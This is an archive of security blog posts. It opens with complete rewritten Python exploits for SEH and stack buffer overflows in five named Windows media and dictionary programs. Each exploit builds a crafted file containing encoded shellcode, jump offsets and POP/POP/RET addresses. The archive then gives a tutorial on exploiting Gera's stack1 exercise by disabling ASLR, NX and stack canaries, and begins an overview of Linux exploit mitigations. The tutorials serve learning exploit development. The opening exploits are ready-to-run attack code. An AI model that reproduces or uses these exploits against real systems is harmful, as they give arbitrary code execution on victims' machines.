Sunday, September 2, 2012

Millennium MP3 Studio .mpf File Parsing SEH Overflow

The Millennium MP3 Studio version 1.0 is prone to a SEH overflow vulnerability. Processing specially-crafted .mpf files could trigger a SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documented at EDB: 9298

Here is a complete rewrite of this exploit:
from struct import *

file = "edb9298.mpf"

# msfpayload windows/exec CMD=calc.exe EXITFUNC=seh R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

calc = ("\xbb\x34\x46\x73\x3a\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x12\x83\xea\xfc\x03\x6e\x48\x91\xcf\x72" +
"\xbc\xdc\x30\x8a\x3d\xbf\xb9\x6f\x0c\xed\xde\xe4\x3d\x21" +
"\x94\xa8\xcd\xca\xf8\x58\x45\xbe\xd4\x6f\xee\x75\x03\x5e" +
"\xef\xbb\x8b\x0c\x33\xdd\x77\x4e\x60\x3d\x49\x81\x75\x3c" +
"\x8e\xff\x76\x6c\x47\x74\x24\x81\xec\xc8\xf5\xa0\x22\x47" +
"\x45\xdb\x47\x97\x32\x51\x49\xc7\xeb\xee\x01\xff\x80\xa9" +
"\xb1\xfe\x45\xaa\x8e\x49\xe1\x19\x64\x48\x23\x50\x85\x7b" +
"\x0b\x3f\xb8\xb4\x86\x41\xfc\x72\x79\x34\xf6\x81\x04\x4f" +
"\xcd\xf8\xd2\xda\xd0\x5a\x90\x7d\x31\x5b\x75\x1b\xb2\x57" +
"\x32\x6f\x9c\x7b\xc5\xbc\x96\x87\x4e\x43\x79\x0e\x14\x60" +
"\x5d\x4b\xce\x09\xc4\x31\xa1\x36\x16\x9d\x1e\x93\x5c\x0f" +
"\x4a\xa5\x3e\x45\x8d\x27\x45\x20\x8d\x37\x46\x02\xe6\x06" +
"\xcd\xcd\x71\x97\x04\xaa\x80\x66\x95\x26\x14\xd1\x4c\x0b" +
"\x78\xe2\xba\x4f\x85\x61\x4f\x2f\x72\x79\x3a\x2a\x3e\x3d" +
"\xd6\x46\x2f\xa8\xd8\xf5\x50\xf9\xba\x98\xc2\x61\x13\x3f" +
"\x63\x03\x6b")

# 50B jump to avoid CSEH and a 4B hole @ 0012F930
# jumps directly from nseh to nop sled > shellcode
junk = "A"*4112
nseh = pack ('<I', 0x909032EB)        # short jump 50B
cseh = pack ('<I', 0x1001FFC7)        # p/p/r 1001FFC7 xaudio.dll

nops = "\x90"*80

'''
# 8B jump to avoid CSEH and land in the first NOP sled of 12B
# another 8B jump from there to avoid a 4B hole @ 0012F930 and land in the final NOP sled > shellcode
junk = "A"*4112
nseh = pack ('<I', 0x909008EB)        # short jump 8B

cseh = pack ('<I', 0x1001FFC7)        # p/p/r 1001FFC7 xaudio.dll
nops = "\x90"*12
jump = pack ('<I', 0x909008EB)        # short jump 8B

nops2 = "\x90"*40
'''

sploit = junk+nseh+cseh+nops+calc

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

'''
/SafeSEH Module Scanner, item 30
 SEH mode=/SafeSEH OFF
 Base=0x10000000
 Limit=0x10044000
 Module version=3, 0, 7, 0
 Module Name=xaudio.dll
'''

SoriTong MP3 Player .m3u File Parsing SEH Overflow

SoriTong MP3 Playerversion 1.0 is prone to a SEH overflow vulnerability. Processing specially-crafted .m3u file could trigger a SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documeneted at EDB: 8624

Here is a complete rewrite of this exploit:
from struct import *

file = "edb8624.m3u"

# msfpayload windows/exec CMD=calc.exe EXITFUNC=seh R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

calc = ("\xbb\x34\x46\x73\x3a\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x12\x83\xea\xfc\x03\x6e\x48\x91\xcf\x72" +
"\xbc\xdc\x30\x8a\x3d\xbf\xb9\x6f\x0c\xed\xde\xe4\x3d\x21" +
"\x94\xa8\xcd\xca\xf8\x58\x45\xbe\xd4\x6f\xee\x75\x03\x5e" +
"\xef\xbb\x8b\x0c\x33\xdd\x77\x4e\x60\x3d\x49\x81\x75\x3c" +
"\x8e\xff\x76\x6c\x47\x74\x24\x81\xec\xc8\xf5\xa0\x22\x47" +
"\x45\xdb\x47\x97\x32\x51\x49\xc7\xeb\xee\x01\xff\x80\xa9" +
"\xb1\xfe\x45\xaa\x8e\x49\xe1\x19\x64\x48\x23\x50\x85\x7b" +
"\x0b\x3f\xb8\xb4\x86\x41\xfc\x72\x79\x34\xf6\x81\x04\x4f" +
"\xcd\xf8\xd2\xda\xd0\x5a\x90\x7d\x31\x5b\x75\x1b\xb2\x57" +
"\x32\x6f\x9c\x7b\xc5\xbc\x96\x87\x4e\x43\x79\x0e\x14\x60" +
"\x5d\x4b\xce\x09\xc4\x31\xa1\x36\x16\x9d\x1e\x93\x5c\x0f" +
"\x4a\xa5\x3e\x45\x8d\x27\x45\x20\x8d\x37\x46\x02\xe6\x06" +
"\xcd\xcd\x71\x97\x04\xaa\x80\x66\x95\x26\x14\xd1\x4c\x0b" +
"\x78\xe2\xba\x4f\x85\x61\x4f\x2f\x72\x79\x3a\x2a\x3e\x3d" +
"\xd6\x46\x2f\xa8\xd8\xf5\x50\xf9\xba\x98\xc2\x61\x13\x3f" +
"\x63\x03\x6b")

junk = "\xCC"*260
nseh = pack ('<I', 0x909032EB)         # short jump 50B
cseh = pack ('<I', 0x1001CFDA)         # p/p/r 1001CFDA Player.dll
nops = "\x90"*80

sploit = junk+nseh+cseh+nops+calc

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

'''
/SafeSEH Module Scanner, item 33
 SEH mode=/SafeSEH OFF
 Base=0x10000000
 Limit=0x10094000
 Module Name=Player.dll
'''

TFM MMPlayer .ppl File Parsing SEH Overflow

The TFM MMPlayer version 2.0 has a SEH overflow vulnerability. Processing specially-crafted .ppl file triggers SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documeneted at EDB: 19176

Here is a complete rewrite of this exploit:
from struct import *

file = "edb19176.ppl"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)

cmmd = ("\xda\xd5\xb8\x4f\xc1\x95\xae\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x42\x16\x03\x42\x16\xe2\xba\x3d" +
"\x7d\x27\x44\xbe\x7e\x58\xcd\x5b\x4f\x4a\xa9\x28\xe2\x5a" +
"\xba\x7d\x0f\x10\xee\x95\x84\x54\x26\x99\x2d\xd2\x10\x94" +
"\xae\xd2\x9c\x7a\x6c\x74\x60\x81\xa1\x56\x59\x4a\xb4\x97" +
"\x9e\xb7\x37\xc5\x77\xb3\xea\xfa\xfc\x81\x36\xfa\xd2\x8d" +
"\x07\x84\x57\x51\xf3\x3e\x56\x82\xac\x35\x10\x3a\xc6\x12" +
"\x80\x3b\x0b\x41\xfc\x72\x20\xb2\x77\x85\xe0\x8a\x78\xb7" +
"\xcc\x41\x47\x77\xc1\x98\x80\xb0\x3a\xef\xfa\xc2\xc7\xe8" +
"\x39\xb8\x13\x7c\xdf\x1a\xd7\x26\x3b\x9a\x34\xb0\xc8\x90" +
"\xf1\xb6\x96\xb4\x04\x1a\xad\xc1\x8d\x9d\x61\x40\xd5\xb9" +
"\xa5\x08\x8d\xa0\xfc\xf4\x60\xdc\x1e\x50\xdc\x78\x55\x73" +
"\x09\xfa\x34\x1e\xcc\x8e\x43\x67\xce\x90\x4b\xc8\xa7\xa1" +
"\xc0\x87\xb0\x3d\x03\xec\x4f\x74\x09\x45\xd8\xd1\xd8\xd7" +
"\x85\xe1\x37\x1b\xb0\x61\xbd\xe4\x47\x79\xb4\xe1\x0c\x3d" +
"\x25\x98\x1d\xa8\x49\x0f\x1d\xf9\x2a\xc2\x85\x2c\xc9\x64" +
"\x23\x31")

nop1 = "\x90"*3777
nop2 = "\x90"*100
jmp2 = "\xE9\xA8\xFD\xFF\xFF"             # near jump (back) 600B (0xFFFFFDA8)
nseh = pack ('<I', 0x9090C4EB)            # short jump (back) 60B (0xFFC4)
cseh = pack ('<I', 0x00401390)            # p/p/r 00401390 MMPlayer.exe

sploit = nop1+cmmd+nop2+jmp2+nseh+cseh
#        3777 226  100  5    4    4

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

'''
/SafeSEH Module Scanner, item 18
 SEH mode=/SafeSEH OFF
 Base=0x400000
 Limit=0x47c000
 Module version=2.2.0.30
 Module Name=MMPlayer.exe
'''

Word List Builder .dic File Parsing SEH Overflow

The Word List Builder version 1.0 has a SEH overflow vulnerability. Processing specially-crafted .dic dictionary files triggers a SEH overwrite that could be leveraged further to gain arbitrary code execution. The exploit for this vulnerability has been documented at EDB: 17086

Here is a complete rewrite of this exploit:
from struct import *

file = "edb17086.dic"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)

cmmd = ("\xda\xd5\xb8\x4f\xc1\x95\xae\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x42\x16\x03\x42\x16\xe2\xba\x3d" +
"\x7d\x27\x44\xbe\x7e\x58\xcd\x5b\x4f\x4a\xa9\x28\xe2\x5a" +
"\xba\x7d\x0f\x10\xee\x95\x84\x54\x26\x99\x2d\xd2\x10\x94" +
"\xae\xd2\x9c\x7a\x6c\x74\x60\x81\xa1\x56\x59\x4a\xb4\x97" +
"\x9e\xb7\x37\xc5\x77\xb3\xea\xfa\xfc\x81\x36\xfa\xd2\x8d" +
"\x07\x84\x57\x51\xf3\x3e\x56\x82\xac\x35\x10\x3a\xc6\x12" +
"\x80\x3b\x0b\x41\xfc\x72\x20\xb2\x77\x85\xe0\x8a\x78\xb7" +
"\xcc\x41\x47\x77\xc1\x98\x80\xb0\x3a\xef\xfa\xc2\xc7\xe8" +
"\x39\xb8\x13\x7c\xdf\x1a\xd7\x26\x3b\x9a\x34\xb0\xc8\x90" +
"\xf1\xb6\x96\xb4\x04\x1a\xad\xc1\x8d\x9d\x61\x40\xd5\xb9" +
"\xa5\x08\x8d\xa0\xfc\xf4\x60\xdc\x1e\x50\xdc\x78\x55\x73" +
"\x09\xfa\x34\x1e\xcc\x8e\x43\x67\xce\x90\x4b\xc8\xa7\xa1" +
"\xc0\x87\xb0\x3d\x03\xec\x4f\x74\x09\x45\xd8\xd1\xd8\xd7" +
"\x85\xe1\x37\x1b\xb0\x61\xbd\xe4\x47\x79\xb4\xe1\x0c\x3d" +
"\x25\x98\x1d\xa8\x49\x0f\x1d\xf9\x2a\xc2\x85\x2c\xc9\x64" +
"\x23\x31")

nop1 = "\x90"*3777
nop2 = "\x90"*100
jmp2 = "\xE9\xA8\xFD\xFF\xFF"         # near jump (back) 600B (0xFFFFFDA8)
nseh = pack ('<I', 0x90909CEB)        # short jump (back) 100B (0xFF9C)
cseh = pack ('<I', 0x0040143C)        # p/p/r 0040143C Word_Builder.exe

sploit = nop1+cmmd+nop2+jmp2+nseh+cseh
#        3777 226  100  5    4    4

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"

Shadow Stream Recorder .asx File Parsing Buffer Overflow

The Shadow Stream Recorder version 3.0.1.7 has a classic stack-based buffer overflow vulnerability. Processing specially-crafted Advanced Stream Redirector (ASX) media files triggered a memory corruption error. This flaw could be exploited to gain arbitrary code execution. The exploit for this vulnerability is a vanilla EIP overwrite and has been first documented at EDB: 11957

Here is a complete rewrite of this exploit (I'm practicing exploit development and as such used EDB11957 as an example):
from struct import *

file = "edb11957.asx"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)

cmmd = ("\xda\xd5\xb8\x4f\xc1\x95\xae\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x32\x83\xc2\x04\x31\x42\x16\x03\x42\x16\xe2\xba\x3d" +
"\x7d\x27\x44\xbe\x7e\x58\xcd\x5b\x4f\x4a\xa9\x28\xe2\x5a" +
"\xba\x7d\x0f\x10\xee\x95\x84\x54\x26\x99\x2d\xd2\x10\x94" +
"\xae\xd2\x9c\x7a\x6c\x74\x60\x81\xa1\x56\x59\x4a\xb4\x97" +
"\x9e\xb7\x37\xc5\x77\xb3\xea\xfa\xfc\x81\x36\xfa\xd2\x8d" +
"\x07\x84\x57\x51\xf3\x3e\x56\x82\xac\x35\x10\x3a\xc6\x12" +
"\x80\x3b\x0b\x41\xfc\x72\x20\xb2\x77\x85\xe0\x8a\x78\xb7" +
"\xcc\x41\x47\x77\xc1\x98\x80\xb0\x3a\xef\xfa\xc2\xc7\xe8" +
"\x39\xb8\x13\x7c\xdf\x1a\xd7\x26\x3b\x9a\x34\xb0\xc8\x90" +
"\xf1\xb6\x96\xb4\x04\x1a\xad\xc1\x8d\x9d\x61\x40\xd5\xb9" +
"\xa5\x08\x8d\xa0\xfc\xf4\x60\xdc\x1e\x50\xdc\x78\x55\x73" +
"\x09\xfa\x34\x1e\xcc\x8e\x43\x67\xce\x90\x4b\xc8\xa7\xa1" +
"\xc0\x87\xb0\x3d\x03\xec\x4f\x74\x09\x45\xd8\xd1\xd8\xd7" +
"\x85\xe1\x37\x1b\xb0\x61\xbd\xe4\x47\x79\xb4\xe1\x0c\x3d" +
"\x25\x98\x1d\xa8\x49\x0f\x1d\xf9\x2a\xc2\x85\x2c\xc9\x64" +
"\x23\x31")

junk = "A"*26085
neip = pack ('<I', 0x7E4456F7) # 7E4456F7  FFE4  JMP ESP USER32.DLL
nops = "\x90"*56

sploit = junk+neip+nops+cmmd

try:
    handle = open (file, 'w')
    handle.write (sploit)
    handle.close ()
    print "[+] sploit ready: " + file + " (" + str (len (sploit)) + "B)"
except:
    print "[-] exception!"
 

Sunday, August 26, 2012

Gera's Warming Up on Stack #1 - Solutions

Following is the part 1 in a series of posts that aim to provide an analysis and possible solutions for the vulnerable programs provided by Gera at his Insecure Programming by example page.

Familiarity with exploit mitigation techniques is expected to gain a proper understanding of the concepts we talk about here. If terms like ASLR, NX, SSP, RELRO, etc. seem unfamiliar, I would suggest reading an earlier post that provides details on these.

We will start with a scenario in which most of the exploit mitigation techniques will be turned on through the default GCC compilation command-line. Since, these techniques prevent successful exploit attempts, we will incrementally turn them off until successful exploitation is achieved. This setup will allow us to witness how these individual techniques succeed in restricting exploit attempts and how their absence affects exploitation reliability.

Below is the source for the vulnerable stack1.c program:


The above program accepts user-input through the gets function and then looks for a specific value in a local variable named cookie. If this value is equal to a certain pre-defined constant, a printf function is used to show a "you win!\n" message to the user. There is no direct means of modifying the content of the cookie variable. The gets function will keep reading from the stdin device until it encounters a newline or EoF character. Since this reading loop fails to honor the size of the destination buffer, a classic buffer overflow vulnerability is introduced in the program. Our aim is to leverage this vulnerability and exploit this program so that it print the "you win!\n" message to stdout.

Here are a few observations that could be made by looking at the source of the program:
  1. Since it is defined prior to buf, the cookie would be placed at a higher memory address on the program stack, just below the saved registers from the function prologue
  2. The buf character array would be at an offset of at least 80B from cookie
  3. The gets call would accept unbounded user-input within buf array and hence it provides a mechanism to alter the call stack contents
To attempt exploitation, proper understanding of a program's memory layout and the positioning of its metadata is very important. We first need to understand the call stack for the stack1 program.

Whenever a function is called, based upon the calling convention in use, metadata information will be pushed on to stack. Upon function termination this information is popped out of stack. The order in which variables are pushed and popped is of importance here. On Linux/GCC environments which use the cdecl calling convention, the caller first pushes any function arguments from right to left in to its stack frame. Then the return address is pushed and finally the control is transferred to callee's .text segment. The callee, when initiated, will execute the function prologue to set up its stack frame. As a part of prologue, the EBP value is pushed on to the stack. Since this is the first operation on the stack after the return address push operation, the EIP and saved EBP end up at adjacent locations. These two values mark boundary for the caller's and callee's stack frames. The location of EIP marks the top of caller's stack frame and the location of saved EBP marks the base of callee's stack frame.

Refer the below stack layouts for better understanding. The first layout outlines the call stack for the caller main():


The second layout outlines the call stack for the callee add():


While control is in the callee function, the passed arguments are accessed by using EBP as a pointer. According to the calling convention, the first parameter is located at an offset of EBP+8, the second parameter is located at an offset of EBP+12, and so on. Using this formula we can locate function arguments (EBP+8 in the above layout is 32+8 = 40 which stores the first argument 3 and similarly EBP+12 is 32+12 = 44 which stores the second argument 6). Since the above described call stack layout will be used for all programs, we could generalize the above formula and use it to find the offset of EBP itself and then the offset of EIP (EBP+4). The address of EBP is located by summing up the address of the first local variable on the stack with its size. Similarly EIP could be located by adding 4 to the address of the EBP.

Based on these observations, let's try to visualize the call stack layout for the stack1 program:


NOTE: The stack is assumed to be 4B aligned and we are working on an x86 machine. The addresses in the layouts are for reference only.

While thinking about possible solutions for this program, I came up with the below listed ideas:
  • Solution #1: Overflow the 4B past buf, where the cookie is stored, with the desired value (0x41424344 in this case)
  • Solution #2: Overwrite EIP with the address of the printf statement that prints the "you win!\n" message
  • Solution #3: Inject and execute a shellcode that simulates the second printf statement, through the internal buf character array
  • Solution #4: Inject and execute a shellcode, that simulates the second printf statement, through an environment variable
All right! Let's start with the test execution of this program. Here is a brief description of the test system:


Below is the GCC command-line to compile the stack1.c source file. The -mpreferred-stack-boundary=2 option is used to align stack entries at DWORD (4B) boundary:


GCC outlines a few warnings with the above code, out of which, the last one suggests to find an alternative for the gets, since it is a "dangerous" function. We are in the process of figuring out just how dangerous gets can be and hence we can safely ignore this and earlier warnings for now.

Lets have a peak into the assembly code of the stack1 ELF binary. Below command-line uses the objdump utility to dump the disassembled object code of a program in Intel syntax (remove the -Mintel option from the below command-line to view assembled code in the default AT&T syntax):


There are a few very important points to note from the above output:
  1. To witness the SSP mitigation technique, locate the mox eax, gs:0x14 instruction at memory address 0x080484aa. This instruction inserts a random 4B canary value just below the function prologue.
  2. Variable reordering feature of SSP is also in place since for the initial printf call, the first variable to be pushed on to stack is &cookie instead of &buf (refer cdecl calling convention). This is concluded from the addresses used to move arguments onto stack. The &cookie is accessed from the location [ebp-0x58] and &buf from [ebp-0x54]. As such, cookie is placed at a distance of 88B from EBP and buf is located right above it at a distance of 84B from EBP. The additional 4B are from the canary placed just below EBP.
  3. The code to verify the content of canary, before returning control to the parent process, is also added and can be found at address 0x080484f0. If this check fails, the __stack_chk_fail function is called to abort the execution of this program.
NOTE: These SSP feature is enabled by default and hence it was introduced automatically through the vanilla command-line we used to compile stack1.c above. It is, however, suggested to use explicit command-line arguments without considering their default status when compiling your source files.

You must have already guessed that the call stack layout we saw earlier is no longer in sync with the compiled binary. We need to recreate it considering the above discussed modifications:


The default GCC command-line might have turned on other mitigation features as well. We need to investigate further before proceeding.

Tobias Klein, the author of A Bug Hunter's Diary, maintains an awesome Bash script called checksec.sh that provides an overview of the security features implemented within the Linux kernel, ELF binaries and executing processes on a system. Here is a listing of its available options:


Obtain the latest version of this script (1.5 as of this writing). Let's try the --kernel option to see available mitigation features implemented within the kernel itself:


The output above confirms that the GCC stack protector support is enabled and we have already seen it in action earlier. Let's now see what does this script has to say about the stack1 ELF binary:


As discussed earlier, the default compilation command-line enabled quite a few mitigation features like Partial RELRO, stack canary, NX and a few others. These features have made significant modifications to the vulnerable program and their presence will prohibit its successful exploitation. From the above output, also note that the printf and gets functions have not been replaced with their safer counterparts. This should have happened through the default command-line. But since the program source did not include the necessary standard libraries for these functions, the FORTIFY_SOURCE mitigation feature failed to detect their presence and as such could not replace them. If you recompile the source with the necessary libraries included, you will encounter the "*** stack smashing detected ***" error message. Still, in the absence of this feature, the ELF binary is quite difficult to exploit.

We need to print the message to successfully exploit this program. But since the cookie has been reordered and placed below buf, we simply have no way to modify it. Additionally, any attempts to overwrite the return address would fail since the canary is placed in between. While overwriting EIP, it will also be overwritten and the __stack_chk_fail function would terminate the program before the message is printed:


In the above test run, supplying 81B of input causes the program to crash. Note the addresses of buf and cookie, 0xbf878da4 and 0xbf878da0 respectively. Variable reordering, we talked about earlier, is in effect here. We are experiencing the influence of exploit mitigation techniques at this stage. For a successful exploit attempt, we will have to disable these features to be able to achieve exploitation. Let's disable the  stack canary mitigation feature first. Below screenshot outlines the GCC option -fno-stack-protector, that disables SSP and as such provides a wide playground for our exploit attempts. Additionally, we see how the checksec.sh script correctly identifies the absence of stack canary and fortify source mitigation features from the program:


The buf is at 0xbfbed9e4 and the cookie at 0xbfbeda34. The variables have been ordered as per our expectation. Let's have a peek at the program assembly to quickly see if the stack cookie has also been added or not:


From here we could proceed to the exploitation phase.

Solution #1:
For this solution we first need to calculate the offset between buf and cookie:

 

As expected, it came out to be 80B. We craft a perl command-line to overwrite 80B of data to reach past the buf boundary. Once this is done, we're pointing at the cookie, which can then be overwritten with the desired content:


NOTE: The test system is an x86 Intel machine that uses little-endian byte ordering. We take this into account and reorder individual bytes to set the cookie with appropriate value.

Solution #2:
For the second solution, we need to overwrite EIP with the address of the printf statement that prints the required "you win!\n" message. This will ensure that when the program returns from main(), control transfers to stack1's .text segment again, instead of the __libc_start_main(). But first we need to find the address of the printf statement in stack1's assembly code:


The last call instruction prepares the stack for a call to puts. That's right, the stack is prepared for puts and not printf. This is due to a default GCC optimization option that finds the second printf call in stack1.c incompatible with its built-in declaration and replaces (optimizes) it with a call to puts. For our exploit attempts, we can safely ignore the implicit differences between functions used here. Since the puts function will do the same thing as printf, we just want its address for proper control transfer. However we need the address of the instruction just above call puts, because it is where the "you win!\n" message is pushed on to stack. From the above output we see that it is 0x08048479.

Now that we have the address to overwrite with, we need the exact offset where we can inject it. For this solution we need to overwrite EIP, whereas in the previous solution, we overwrote cookie, ie. 4B past buf. The size of buf was the offset that we used for junk data to reach cookie. We concluded this offset using the variable adjacency property. All local variables are placed adjacent to each other at lower memory addresses in the order in which they were declared in the source program. As such we could find out the offset of the EIP as well.

Referring the call stack layout we saw earlier, the offset of EIP can be easily calculated. The buf 80B + cookie 4B + saved Frame Pointer 4B = 88B. This is the offset of EIP from the start of the buf array:


We were able to overwrite EIP and redirect control to a desired location. This action helped us to bypass the if condition without actually modifying the contents of the source program.

Solution #3:
We now move on to the third solution for this program. We have found that the program has a buffer in which we can inject junk data and we also have the ability to redirect control to arbitrary locations. These two possibilities, when combined together, allow us to execute arbitrary shellcode. We will design a shellcode that simulates the behavior of the puts call and inject it within the program buffer. We will then modify the contents of EIP to point to the buffer where our injected shellcode ends up. If all goes well, this shellcode will be executed and we will have the message printed.

There is however one thing we will have to think about before we move ahead. Recall the checksec.sh output above. It tells that one of the mitigation features, NX, is enabled for the vulnerable stack1 program. This means that when we execute this binary, it will have its stack segment marked as non-executable:


From the above output, stack is marked as RW for the vulnerable program. As such, even if we can inject shellcode into buf, we can not execute it. Any attempts to redirect EIP to our shellcode would be successful, however, the instant we try to execute shellcode, an exception would be raised that will eventually terminate the program. So, we'll have to disable this feature for solutions #3 and #4 to work correctly. But I'm not going to disable them for now. As you'll see, our exploit attempts would still work in the presence of NX and at the end of the post I'll point out the exact reason for such a behavior. Till then read on and try to think about why this might be happening.

First we need to design a shellcode that simulates the puts call. I came up with the following:


The above code uses the standard Linux system calls, write and exit, to print the message and cleanly terminate the program. Using the exit call will help to remove the segmentation fault we encountered in the previous solution, thus making our exploit much reliable. Additionally, we use a few shellcode writing tricks to remove NULL bytes from our shellcode, to reduce the shellcode size, and to overcome the addressing problem. Assemble and link the program to create a standalone binary:


Here is the objdump for the resultant printf program:


Extract opcodes to create the required shellcode and calculate its size:


Now we are ready with the shellcode that simulates the puts call. Once we inject it, we would need the address of the buffer where this shellcode lands. Looking at the source and through the earlier test executions of the stack1 program, you already know that it prints out the address of the buf and the cookie variables. But we cannot just use the address from an earlier execution for our exploit. Why is this so? If you had noticed earlier, both buf and cookie, although adjacent and aligned as expected, had different address on each invocation:


You would have already guessed by now. It is due to the ASLR mitigation feature that is active on the test system:


On systems that support brk ASLR, the randomize_va_space file stores a value of 2. On other systems it stores a value of 1 by default to indicate the presence of ASLR. Modifying this file with a value of 0 will immediately turn off this feature for all newly spawned processes:


For all the 3 invocations of stack1 program, the locations for buf (0xbffff4c4) and cookie (0xbffff514) remain constant. Since the buf is always placed at a known static address, we could use it for EIP redirection.

Let's proceed to the exploitation phase. Since the shellcode is of 38B and the buf is located at an offset of 88B from the EIP, we have a junk space of 50B. We could use this space to increase the reliability of our exploit by adding a NOP sled in front of our shellcode. This although is not required as we are already aware of the location of our shellcode. But we still have to fill this space with junk bytes to reach the offset of EIP. Let's craft a perl command-line to inject our shellcode at the  where ths correct address could be overwritten. However, we were not able to get the shellcode executed:


It did not work. The offset calculation was correct, address for EIP overwrite also points to our shellcode, and we actually have a working shellcode that, if executed, should print the winning message. What could have gone wrong? A GDB analysis could help but this specific issue could be debugged without using it. Have a look at the shellcode once again:


The shellcode above is copied into the buf array through the gets function, which parses newline or EoF as input terminating characters. Unfortunately, the shellcode we so carefully prepared contains a newline as its last byte. This came in through the "you win!\n" message and it is indeed the culprit here. The earlier exploit command-line breaks at the \x0a byte on offset 87, failing to overwrite further stack locations. The EIP at offset 88 is untouched and we fail to gain successful exploitation.

We could quickly modify the printf.s program and generate a new shellcode that has the message with no newline character. However, a quick hack can be to remove the newline from the exploit command-line and test it:


It did work! Although a junk byte was appended to the winning message. We are clear with the exploit technique and it is all that matters. We used the address of buf to jump back to our shellcode and it is one thing which makes our exploit highly unreliable. There are certain techniques through which you can reliably jump to your shellcode without using memory addresses that could possibly differ between different systems. Please refer the Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode post from corelanc0d3r for more details.

For this solution, we turned off another mitigation feature (ASLR). Even in its presence we were able to gain successful exploitation (using solutions #1 and #2) but that was because we had alternate tricks. However, those were very specific to the vulnerable stack1 program. They won't always work, but you now understand that an insight about how things really work, could help designing custom solutions and hacking around any limitations that stop you from gaining successful exploitation. This solution helped us to get an insight into how useful addressing information could be for an exploit writer and how successfully the ASLR technique helps to mitigate exploit attempts that use this information.

Solution #4:
Let's now move to the final solution for the stack1 program. First, let's have a quick review of solution #3. We injected a shellcode that simulated the behavior of printf statement. We redirected control to our shellcode and achieved exploitation. However, a minor modification was required to our exploit command-line that changed the look and feel of our winning message. The newline character caused the gets copy loop to stop overwriting memory addresses past the terminating character and as such we had to remove it from our exploit shellcode. Although this issue was easily resolved though a quick and dirty hack, it might pose significant issues in real world exploit attempts. Could there be a better/elegant solution to this problem?

Okay, no guess work required here. There indeed is one such trick that could help us to overcome the newline issue. The shellcode we injected through the buf array could be stored within an environment variable and then the EIP could be overwritten with the address of this variable to get successful execution. But wait! Where did the idea of environment variable come from? Why are we using it anyways? How exactly does it help to bypass the newline filter?

There are a few scenarios in which injecting shellcode through an environment variable is the only viable option. One such scenario is when you encounter a buffer that is too small to fit in your desired shellcode. Since an environment variable could be of arbitrary size, we could inject a huge shellcode like the one simulating the Meterpreter payload in Metasploit Framework and get it executed on the target system. In our case, we were lucky enough to have a large buf that could completely hold our printf shellcode. Another scenario could be when string termination filters like the newline above is encountered. For the solution #3, we hacked around and got the message printed, but it obviously won't work in all cases. In such a scenario, we could inject our shellcode into an environment variable. Since the shellcode is injected independent of the vulnerable program, it helps to bypass its inherent filters. The only challenging part that is then left out is redirecting control to the location where this shellcode is placed.

One of the most important reason to use an environment variable to hold exploit shellcode is its memory placement. These variables are copied into the stack segment of all processes and as such they provide a means for code execution for stack-based exploits.

Let's inject the shellcode we prepared earlier into an environment variable, called WINCODE and use its address to overwrite EIP and get code execution. There are a few techniques using which the address of an environment variable can accurately calculated and as such we won't need a NOP sled in front of our shellcode. If you have any queries regarding environment variables based exploitation, please refer 0x331 Using the Environment from Hacking - The Art of Exploitation book:


We successfully redirected EIP to a NOP-less shellcode present within an environment variable. And it did work! However the output is not exactly what we had expected. There's no newline at the end. Here is what hexdump has to say about our exploit:


Although the environment variable has a newline at the end, it is not echoed back when the shellcode executes. I made a small change to the original shellcode to include "\x0a\x0d" characters and used it for testing:


This time just the "\x0a" was echoed back and it, as expected, corrects the exploit output. However, I could not understand this strange behavior. If you have any ideas please get back.

So, we have now successfully exploited the stack1 program through a shellcode injected into an environment variable. Please note that the use of environment variables is only possible for local exploits and as such it is not much used in common exploits that you see in the wild. However, as you have already seen, it is one of the most reliable methods of exploitation.

All these solutions are however not practical. They serve the purpose of understanding how exploits used to work before mitigation features were introduced.

Monday, July 9, 2012

Exploit Mitigation Techniques on Linux Systems

Each year we see phenomenal research works being presented in a number of security conferences and events around the world. Vendors/communities present solutions for existing issues and those on the offensive side present workarounds against these solutions. Eventually this race, between those working on either sides of the coin, helps to make our world a safer place.

Over the last decade, reliable exploitation of memory corruption bugs has become extremely difficult. This has happened, primarily, due to the introduction of various exploit mitigation techniques. In this post, we'll be looking at the current state of exploitation within the Linux environment.

The following security/mitigation techniques are commonly available on most recent distributions:
    1. ASLR
    2. NX
    3. Stack Canaries
    4. FORTIFY_SOURCE
    5. RELRO
    6. PIE
Except for ASLR, which effects system-wide configuration, all of the above techniques are user-space mitigation features that have to be enabled on a per-binary basis. Here is the sample program that we'll be using for our tests:


Let's have a detailed look at each of the above techniques:
